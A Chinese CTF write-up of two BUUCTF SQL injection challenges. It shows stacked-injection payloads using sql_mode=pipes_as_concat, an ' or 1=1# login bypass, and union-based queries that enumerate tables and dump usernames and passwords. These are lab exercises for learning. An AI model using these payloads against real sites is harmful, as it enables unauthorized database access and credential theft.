BUUCTF——WEB(2)

目录

[[SUCTF 2019]EasySQL 1](#[SUCTF 2019]EasySQL 1)

堆叠注入

方法一:

方法二:

[[极客大挑战 2019]LoveSQL 1](#[极客大挑战 2019]LoveSQL 1)

sql注入

[SUCTF 2019]EasySQL 1

堆叠注入

输入字母,0无回显,输入数字有回显

输入1'无显示,输入1#有显示,输入1'#无显示

输入特殊字符,没有报错回显,可能被过滤,报错注入不行

引号可能被过滤,数字型注入尝试

输入关于sql的语句,or,union,sleep,回显Nonono,联合查询,时间盲注也不行

尝试if,and回显Nonono,布尔盲注也不行

复制代码
1 and length(database())>=1#

堆叠注入

堆叠注入就是同时注入多条指令

展示数据库

展示表

查询Flag表的列

出错,from被过滤

查询有限

知识点:

来源文章:https://blog.csdn.net/qq_46918279/article/details/120188186

concat可以连接多个字符串如concat('id','name',','user')

用符号||代替or

concat();未被过滤

猜测内置语句

复制代码
sql="select post['query'] || flag from Flag";
方法一:

设置Payload:

复制代码
select *,1||flag from Flag
输入	*,1

支持||作为字符串连接的数据库(PostgreSQL/Oracle/SQLite)

这是语句的 "设计意图场景",比如:

  • Flag表有如下数据:
id flag
1 flag{test}
2 flag{123456}

执行 select *,1||flag from Flag 后,结果会新增一列(默认别名如?column?),内容是1拼接flag值:

id flag ?column?
1 flag{test} 1flag{test}
2 flag{123456} 1flag{123456}

不支持||作为连接符的数据库(MySQL/SQL Server)

  • MySQL

    :默认下||是 "逻辑或"(不是连接符),直接执行该语句会报错 / 结果异常;

    等价的正确写法(用CONCAT函数):select *,concat(1,flag) from Flag

    (若要让 MySQL 支持||,需开启PIPES_AS_CONCAT模式,不推荐)

  • SQL Server :用+做字符串连接符,等价写法:select *,1+flag from Flag

语句作用

验证flag列是否存在

  • 若返回结果包含拼接后的列 → 证明Flag表存在flag列;

  • 若报错 → 证明列 / 表不存在

提取flag值(绕过过滤)

  • 若直接查询flag列被拦截(如 WAF 过滤select flag),拼接常量1后,语句变成select *,1||flag,可绕过简单的关键词过滤;

  • 即使无法直接看到flag列,新增的计算列会暴露flag值(比如拼接后的1flag{xxx},去掉前缀1就是真实 flag)。

方法二:
复制代码
payload:1;set sql_mode=pipes_as_concat;select 1
 
#使用set sql_mode = pipes_as_concat将||作为字符串连接函数
那么sql语句就会为:
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
即:
select 1;set sql_mode=pipes_as_concat;select concat(1,flag) from Flag;
 
意思为:
输出1;将||作为concat使用;将输出结果中的1和flag字段连接起来;

详情见:https://blog.csdn.net/qq_46918279/article/details/120188186

[极客大挑战 2019]LoveSQL 1

sql注入

先测试

复制代码
1
1'
1' or '1' = '1#
1' or 1=1#

得到万能密码成功

复制代码
1' or 1=1#

试一下md5解密,失败

联合查询测试列

1' order by 3#不报错

1' order by 4#报错

则表有三列

尝试注入,查看回显

复制代码
1' union select 1,2,3#

查看库名1' union select 1,database(),3#

查看表,两张表

MySQL 中「字符串常量必须加引号」,不加引号会被识别为「列名」

table_schemainformation_schema.tables 中的列,存储的是数据库名(字符串类型)

无引号的标识符会被优先解析为列名 / 表名等数据库对象,而非字符串

group_concat() 是 MySQL聚合函数,作用是「多行转单行拼接」

复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#

查列

复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="geekuser"#
复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#

查看内容

复制代码
1' union select 1,2,group_concat(id,username,password) from geekuser#
复制代码
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

f12找到flag

相关推荐
ShadowSmartMicros2 小时前
java调用milvus数据库
java·数据库·milvus
网硕互联的小客服3 小时前
Centos系统如何更改root账户用户名?需要注意什么?
linux·运维·服务器·数据库·安全
lisanmengmeng3 小时前
zentao的prod环境升级(一)
linux·运维·数据库·docker·容器·禅道
それども3 小时前
insertOnDuplicateKey 和 upsert 区别
数据库·mysql
nbsaas-boot3 小时前
SQL Server 存储过程设计规范(事务与异常处理)
linux·数据库·设计规范
Bruce_Liuxiaowei4 小时前
全面TCP端口扫描:Nmap高级扫描技术与实战应用
网络·tcp/ip·网络安全·php
代码or搬砖4 小时前
SQL核心语法总结:从基础操作到高级窗口函数
java·数据库·sql
4 小时前
TIDB——TIKV——读写与coprocessor
数据库·分布式·tidb·
Hello.Reader5 小时前
Flink SQL 的 LOAD MODULE 深度实战——加载 Hive 模块、理解模块发现与常见坑
hive·sql·flink